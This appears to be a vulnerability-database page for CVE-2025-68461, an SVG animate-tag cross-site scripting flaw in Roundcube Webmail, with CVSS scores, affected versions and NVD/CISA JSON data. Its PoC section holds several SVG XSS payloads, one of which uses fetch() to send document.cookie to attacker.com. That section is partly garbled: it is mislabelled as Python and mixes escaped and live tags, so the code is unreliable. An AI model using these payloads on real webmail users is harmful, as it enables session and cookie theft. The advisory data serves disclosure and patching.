Security Vulnerability Report
中文
CVE-2025-68461 CVSS 7.2 HIGH

CVE-2025-68461

Published: 2025-12-18 05:15:57
Last Modified: 2026-02-23 13:24:12

Description

Roundcube Webmail before 1.5.12 and 1.6 before 1.6.12 is prone to a Cross-Site-Scripting (XSS) vulnerability via the animate tag in an SVG document.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE
Roundcube Webmail < 1.5.12
Roundcube Webmail < 1.6.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-68461: Roundcube Webmail SVG XSS --> <!-- Attack vector: SVG animate tag with JavaScript execution --> <!DOCTYPE html> <html> <head> <title>CVE-2025-68461 PoC</title> </head> <body> <h3>Roundcube Webmail SVG XSS PoC</h3> <p>Send this SVG content to the target via email:</p> <pre> &lt;svg xmlns="http://www.w3.org/2000/svg"&gt; &lt;animate onload="alert(document.cookie)" attributeName="x" dur="1s" fill="freeze"/&gt; &lt;script&gt;alert(document.cookie)&lt;/script&gt; &lt;animate attributeName="onload" to="alert(document.cookie)"/&gt; &lt;/svg&gt; </pre> <h4>Alternative attack vectors:</h4> <!-- Method 1: Using animate with onload --> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <animate attributeName="onload" values="javascript:alert(document.cookie)" dur="0s" fill="freeze"/> <rect width="100" height="100" fill="red"/> </svg> <!-- Method 2: Using script in SVG --> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <script type="text/javascript"> alert('XSS via SVG - Cookie: ' + document.cookie); // Steal cookie and send to attacker fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); &lt;/script&gt; <rect width="100" height="100" fill="blue"/> </svg> <!-- Method 3: Using animate with begin attribute --> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> &lt;animate begin="0s" onbegin="alert(document.domain)" attributeName="x" dur="1s"/&gt; <rect width="100" height="100" fill="green"/> </svg> <p><strong>Note:</strong> This PoC demonstrates the XSS vulnerability. In a real attack, the attacker would send this SVG via email to Roundcube users.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68461", "sourceIdentifier": "[email protected]", "published": "2025-12-18T05:15:56.623", "lastModified": "2026-02-23T13:24:12.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Roundcube Webmail before 1.5.12 and 1.6 before 1.6.12 is prone to a Cross-Site-Scripting (XSS) vulnerability via the animate tag in an SVG document."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "cisaExploitAdd": "2026-02-20", "cisaActionDue": "2026-03-13", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "RoundCube Webmail Cross-site Scripting Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.12", "matchCriteriaId": "72BDB5DF-B892-4EB7-B953-BCF6571CFE33"}, {"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.12", "matchCriteriaId": "2E7809A5-BC6E-47F6-8175-261C417A1648"}]}]}], "references": [{"url": "https://github.com/roundcube/roundcubemail/commit/bfa032631c36b900e7444dfa278340b33cbf7cdb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-68461", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}